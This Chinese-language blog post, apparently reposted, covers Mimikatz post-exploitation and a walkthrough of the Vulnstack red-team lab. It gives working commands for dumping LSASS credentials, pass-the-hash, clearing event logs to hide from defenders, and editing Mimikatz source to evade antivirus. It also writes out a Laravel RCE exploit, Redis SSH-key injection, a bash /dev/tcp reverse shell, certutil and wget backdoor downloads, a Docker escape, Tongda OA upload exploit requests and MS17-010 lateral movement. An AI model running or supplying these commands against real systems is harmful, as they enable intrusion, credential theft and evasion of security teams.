内网渗透之某后渗透利用网络安全
Posted kali_Ma
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透之某后渗透利用网络安全相关的知识,希望对你有一定的参考价值。
0x01 工具介绍
工具原理
Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe
进程的内存当中,Mimikatz 通过注入lsass.exe
进程读取进程内存,从中获取对应的明文密码。
常见问题
在 Windows Vista 系统之后不再存储 LM HASH,而 Windows 8.1 系统之后内存中也不再存储明文密码,因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest,这是一个可逆算法,相关注册表存储位置如下:
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest "UseLogonCredential"(DWORD)
后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键,如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。
reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\ /v UseLogonCredential /t REG_DWORD /d 1
给小伙伴整理了相对应的学习资料,如果你需要的话,我也可以分享一部分出来(涉密部分分享不了),需要的可以
0x02 基础使用
常见用法
Mimikatz 的启动需要管理员/SYSTEM权限运行,默认情况下拥有 32 位以及 64 位版本,在 Kali Linux 中默认存放位置为/usr/share/mimikatz
,大多数人使用 Mimikatz 一般只用到两个命令,而对其他命令不太了解,接下来会为大家全面介绍 Mimikatz 这款神器。
privilege::debug
sekurlsa::logonpasswords
也可以使用一句话输出保存
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt
基本语法
使用命令可查看全部功能模块
::
调试进程修改运行权限为SYSTEM
privilege::debug
privilege:: #查看 privilege 的运行模块
开启日志记录,保存读取的用户凭证信息
standard::log
0x03 常用模块
Crypto模块
加密模块主要用于导出可导出的证书,利用 CryptoAPI 函数访问证书,相当于简化版的 certutil。有时候一张合法的证书非常有用,当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下:
/provider #指定提供者
/providertype #指定提供类型
/cngprovider #CNG提供者
/export #导出密钥 PVK 文件
查看相关密钥的提供者
crypto::providers
查看当前系统存储信息
crypto::stores
常见的系统存储用户名包括:
-
CURRENT_USER
-
USER_GROUP_POLICY
-
LOCAL_MACHINE
-
LOCAL_MACHINE_GROUP
-
LOCAL_MACHINE_ENTERPRISE
-
CURRENT_SERVICE
-
USERS
-
SERVICES
指定系统存储为local_machine
进行查看
crypto::stores /systemstore:local_machine
查看用户当前证书
crypto::certificates
导出 ROOT 根证书
crypto::certificates /store:Root
导出证书必须配合 store 参数。其中公钥为DER,私钥为PFX,密码为 mimikatz
crypto::certificates /store:Root /export
使用 CryptoAPI 打补丁,有时候证书无法导出可能就是补丁没有打
crypto::capi
使用 CNG 打补丁,用于导出未标记可导出的证书
crypto::cng
列出智能读卡器,可能会出现报错
crypto::sc
查看相关密钥
crypto::key
使用 OpenSSL 生成证书
openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem
Sekurlsa模块
Sekurlsa 模块能从lsass.exe
进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。查看所有身份认证信息,成功拿到用户明文密码
sekurlsa::logonpasswords
查看用户哈希可能会出现报错,这主要是由于当前权限较低
lsadump::sam
解决方法非常简单,只要以系统权限运行即可
process::runp
在新窗口中再次运行可成功拿到哈希
重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中,因此执行该操作相当于重置密码,再次登录需要使用新密码进行登录
lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637
转储并导出lsass.exe
进程
sekurlsa::minidump lsass.tmp
通过哈希传递进行横向移动
sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637
凭证管理器中可查看 Windows 凭证
Token模块
Token 模块主要用于查看、假冒现有 token。查看当前 token 信息
token::whoami
查看 token 列表并假冒系统管理员
token::list
token::elevate /NT AUTHORITY\\SYSTEM
还原假冒进程
token::revert
其他模块
一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录
配合命令无提示登录远程桌面,该功能在 HW 中非常好用,即使管理员处于登录状态,我们仍能悄悄登录其他用户
ts::multirdp
成功登录原会话不受影响,使用命令查看会话列表
ts::sessions
虽然目前不会被已登录用户发现,但在事件查看器当中仍会存在登录日志
使用命令一键清除日志
event::clear
成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程
安装/卸载 Mimikatz 服务,帮助我们监听用户输入
service::+
service::-
成功安装 Mimikatz 服务且已自动启动
比如监听粘贴文本
misc::clip
0x04 免杀利用
Mimikatz 作为最常用的黑客工具早已被各大安全软件标记,比如360杀毒、360安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀,这是一种基于特征码的免杀方式,只需定位到源码中的特征代码进行修改就可达到免杀效果,一般会定位三个位置,分别是代码、字符串和输入表。
准备环境
在免杀前需要准备以下三个要素:
-
Mimikatz 源码
-
Visual Stdio 2019(C++)
-
vc依赖文件
在 Github 中下载最新版的 Mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz
更新 360 杀毒、病毒库为最新版本
配置问题
点击 Mimikatz 中的启动文件启动 Visual Stdio,在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息(error MSB8020),解决方法为进入项目》属性〉常规》平台工作集中,将平台改为 VS 2012(v110)后即可成功运行编译。
选择生成出现报错界面,点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141,点击修改即可解决问题
下载安装完成后修改手工工具集为 2017 版本
在配置属性中的 C++ 中修改将警告视为错误改为否,否则每当出现错误就无法编译
重新生成又出现报错:MSB8036
在项目属性页选择已安装的 SDK 版本
点击重新生成后成功编译 32 位 Mimikatz
如果需要生成 64 位程序可在解决方案》配置属性选择平台为x64
点击重新生成成功编译 64 位 Mimikatz
免杀过程
步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换
把关键字 mimikatz 所有的字符串替换为 macsec,点击全部替换即可
由于字符串全部被替换,导致引入 mimikatz 的文件名也被替换,因此需修改全部文件名为 macsec
点击重新生成后输出macsec.exe
虽然目前能够进行静态查杀,但是还是无法绕过动态查杀
进一步删除macsec.c
和macsec.h
的注释信息
再次重新生成程序使用360测试仍无法绕过动态查杀
在macsec.rc
中修改版本信息,把带有 gentilkiwi 的公司名修改为 macsec
修改图标macsec.ico
为 Office Word 图标后再次点击生成
放入免杀环境再次运行即可成功绕过
当然命令也能够成功执行
完成免杀后可上传至云平台查杀测试,但一般不要这么做,云平台会标记免杀程序
内网安全-记一次内网靶机渗透
所涉及到的知识点:
1、WEB安全-漏洞发现及利用
2、系统安全-权限提升(漏洞&配置&逃逸)
3、内网安全-横向移动(口令传递&系统漏洞)
实战演练-ATT&CK实战系列-红队评估
环境下载:
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
利用资源:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288
参考WP:
https://www.freebuf.com/articles/network/264560.html
涉及技术:
1.漏洞搜索与利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通达OA v11.3 漏洞利用
5.Linux环境变量提权
6.Redis 未授权访问漏洞
7.Linux sudo权限提升(CVE-2021-3156)漏洞利用
8.SSH密钥利用
9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相
应 的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动nginx服务:(web1)
1 sudo redis-server /etc/redis.conf
2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
3 sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:(web2)
1 sudo service docker start
2 sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
1 C:\\MYOA\\bin\\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
kali开启ssh服务
/etc/init.d/ssh start xshell 连接22端口和kali的ip
渗透过程
1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)
nmap -T4 -sC -sV 192.168.46.160
2.扫描出该ip地址81端口开放,则判断出使用的是laravel,以此来进行漏洞利用
81端口:laravel 存在最新漏洞
python laravel-CVE-2021-3129-EXP.py http://目标地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP 项目地址
3.用哥斯拉工具连接上传成功的后门,
将有效载荷和加密器改为php的
4.在上线之前先判断对方的搭建系统,出现这个就代表对方用的是docker来搭建的,那么接下来所要考虑的就是如何来进行docker逃逸。这里我上传冰蝎的木马改用冰蝎,是因为个人喜好冰蝎的工具,各位师傅可以上传其他后门改用蚁剑菜刀连接都可以。
5.这里我们将web权限反弹到msf是不成功的
其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,因为我们的msf主机和对方的52网段的不出网机子不通
其二:后门的代理没有走第一层网络 所以连接不上web2上的主机
6…所以我们入侵该主机并不能造成太大的威胁,借此我们要入侵web1的其他端口(kali扫描全部端口)扫到了6379的端口redis
nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx
7.Ubuntu 1 DMZ渗透 redis未授权判断如果进入就代表有redis未授权(kali运行)
redis-cli -h 192.168.xx.xxxxx
7.1Redis未授权访问-ssh密匙 生成公钥(kali 上执行)
ssh-keygen -t rsa
7.2将公钥导入1.txt文件
echo -e "\\n\\n"; cat /root/.ssh/id_rsa.pub; echo -e "\\n\\n") > 1.txt
7.3把1.txt文件内容写入目标主机的redis缓冲中
cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello
7.4设置redis的备份路径为/root/.ssh/
config set dir /root/.ssh
7.5设置保存文件名为authorized_keys
config set dbfilename authorized_keys
7.6将数据保存在目标服务器硬盘上
save
7.7连接web1上的主机
ssh root@192.168.46.160
7.8获取web1的主机
8.因为连接到web1的主机,所以这里生成正向反向的后门都可以,我这里生成的是反向连接的后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf
9.在将生成的后门放到刚刚连接到的web1的文件下
10.在用redis未授权访问的web1下载这个后门
wget http://192.168.46.160:81/p1.elf
11.在这个后门执行前,kali上要启用msf的监听模块
msfconsole 开启msf
use exploit/multi/handler 使用监听模块
set payload linux/x64/meterpreter/reverse_tcp 设置刚刚生成后门的模块
set lhost 192.168.46.158 设置ip
set lport 6666 设置端口
exploit 攻击
12.redis未授权访问的主机执行后门代码
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150107-3b7a515e-80d1-1.png)
13.然后进入到他的主机之后来进行横向渗透,首先来来利用msf强大的路由功能来获取其他网段的路由
sessions 1 回到会话中
run get_local_subnets 获取本地路由
run autoroute -p 查询本地路由
run post/multi/manage/autoroute 得到本地路由
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150333-92bc573c-80d1-1.png)
14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址
background 返回
use auxiliary/scanner/discovery/udp_probe 使用扫描模块
show options 展示选项
set rhosts 192.168.52.1-255 设置主机范围
set threads 10 设置线程
run 运行
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150408-a7491e56-80d1-1.png)
15.在利用环境变量配合SUID本地提权
```find / -user root -perm -4000 -print 2>/dev/null
16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
cd /home/jobs
./shell
chmod 777 ps
cp /bin/bash /tmp/ps
17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面
nc -lvp 1234
18.将web权限反弹到第一层主机上
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'
19.添加环境变量
export PATH=/tmp:$PATH 添加环境变量
echo $PATH 查看环境变量
20.在来使用shell提升权限
./shell
id 查看权限
21.kali生成正向连接的后门由此来连接
msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向连接的后门
22.在将这个后门放到冰蝎连接上的web主机上面
23.在来使用kali的msf监听这个后门
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options
set lport 7777
set rhost 192.168.52.20 主机连接对方的ip地址
exploit
- 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)
25.docker逃逸在那台提权上的主机上进行逃逸
fdisk -l 查看磁盘文件
ls /dev 查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello
覆盖密匙:
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys -avx将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys 清空authorized_keys文件
echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys 将ssh秘钥写入
26.pc1上覆盖密钥(重新建立一个kali的终端)
ssh root@192.168.46.160 重新连接kali
cat hello.pub 查看密钥
ssh-keygen -f hello 生成密钥
chmod 600 hello 给予权限
ls
cat hello.pub
27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)
ssh -i hello ubuntu@192.168.52.20
28.在来运行该木马
29.然后建立的msf的监听就能接受到会话
30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址
session 4
run get_local_subnets
run autoroute -p
run post/multi/manage/autoroute
31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要使用nmap来扫描ip地址的服务,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,所以我们可以设置一个代理来使用nmap扫描工具。
32.这里我使用msf自带的扫描模块
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit
33.然后在用kali机连接到这个oa系统,前提win7上打开了oa系统,kali的浏览器上设置代理,使用burpsuite抓包
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129163739-b7d84d5c-80de-1.png)
34\\. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞
34.1先在登录处抓包
![](https://xzfile.aliyuncs.com/media/upload/picture/20220129164114-37ce65f0-80df-1.png)
34.2修改在路径,删除cookie,添加Uid
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164129-409196c6-80df-1.png)
34.3然后就会返回这个cookie在来利用这个cookie未授权访问
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164221-5f87884c-80df-1.png)
34.4用获取的SESSID访问/general/
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164247-6f26dca8-80df-1.png)
34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直接使用这个数据包修改ip和端口号就行
POST /ispirit/im/upload.php HTTP/1.1
Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: /
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“UPLOAD_MODE”
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“P”
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“DEST_UID”
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“ATTACHMENT”; filename=“jpg”
Content-Type: image/jpeg
------WebKitFormBoundarypyfBh1YB4pV8McGB–
34.6在来使用文件包含来 命令执行
POST /ispirit/interface/gateway.php HTTP/1.1
Host: ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json=“url”:"/general/…/…/attach/im/图片路径"&cmd=whoami
34.7发现可以命令执行,再来下载一个后门代码,前提是要生成一个windows后门木马,将木马放到web1的目录上
```msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe
34.8再来下载这个木马,执行我们的上线
certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe
34.9使用木马前监听这个后门
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit
34.10 再来使用这个木马执行上线操作
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164752-2546c52a-80e0-1.png)
35.成功之后发现有session5
```background
sessions
sessions 5
37.然后在利用msf自带的扫描模块扫描
background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run
38.发现对方开放的ip地址和端口
第一种情况是关闭了防火墙可直接执行上线操作
39.其一:利用ms17010
use auxiliary/scanner/smb/smb_ms17_010 扫描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30 扫描20-30网段
exploit
40.发现有两台主机可以利用
41.其二:使用mimikatz来攻击
sessions
sessions 5
load kiwi 载入mimikatz
42.如果这里提示x32不能执行x64,那就要移植进程
kiwi_cmd sekurlsa::logonpasswords 获取账号密码
43.先执行ps命令获取一个x64的system权限进程
ps
migrate 4012 移植4012进程
44.再来执行刚刚的命令
kiwi_cmd sekurlsa::logonpasswords 获取账号密码
45.获取到administartor账号密码就来利用msf的psexec模块
background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp 改为正向连接
set rhost 192.168.93.30 设置主机
show options
set smbuser 获取到的administrator账号 设置账号
set smbpass 获取到的密码 设置密码
exploit
46.其三:利用smb的ms17010的psexec的模块
use exploit/windows/smb/ms17_010_psexec 使用模块
set payload windows/meterpreter/bind_tcp 设置正向连接
set rhost 192.168.93.40 设置ip
开启防火墙
47.这就是开启了防火墙,攻击能成功但是反弹不了会话
48.首先建立session
sessions 5
49.返回shell终端
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170124-08eca546-80e2-1.png)
50.强制关闭防火墙
net use \\192.168.93.30\\ipc$ “Whoami2021” /user:“Administrator”
sc \\192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \\192.168.93.30 start unablefirewall
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170141-136969a0-80e2-1.png)
51.之后就可以继续攻击
background
exploit
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170229-300b3480-80e2-1.png)
52.攻击win7的ms17010的模块
background
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp 改为正向连接
set rhost 192.168.93.40
run
[![image](https://img-blog.csdnimg.cn/img_convert/0242eb1ad9dbf46d9763c460aaeb2111.png)](https://xzfile.aliyuncs.com/media/upload/picture/20220129170244-390ed014-80e2-1.png)
以上是关于内网渗透之某后渗透利用网络安全的主要内容,如果未能解决你的问题,请参考以下文章
《内网安全攻防:渗透测试实战指南》读书笔记:跨域攻击分析及防御
《内网安全攻防:渗透测试实战指南》读书笔记:跨域攻击分析及防御
《内网安全攻防:渗透测试实战指南》读书笔记:跨域攻击分析及防御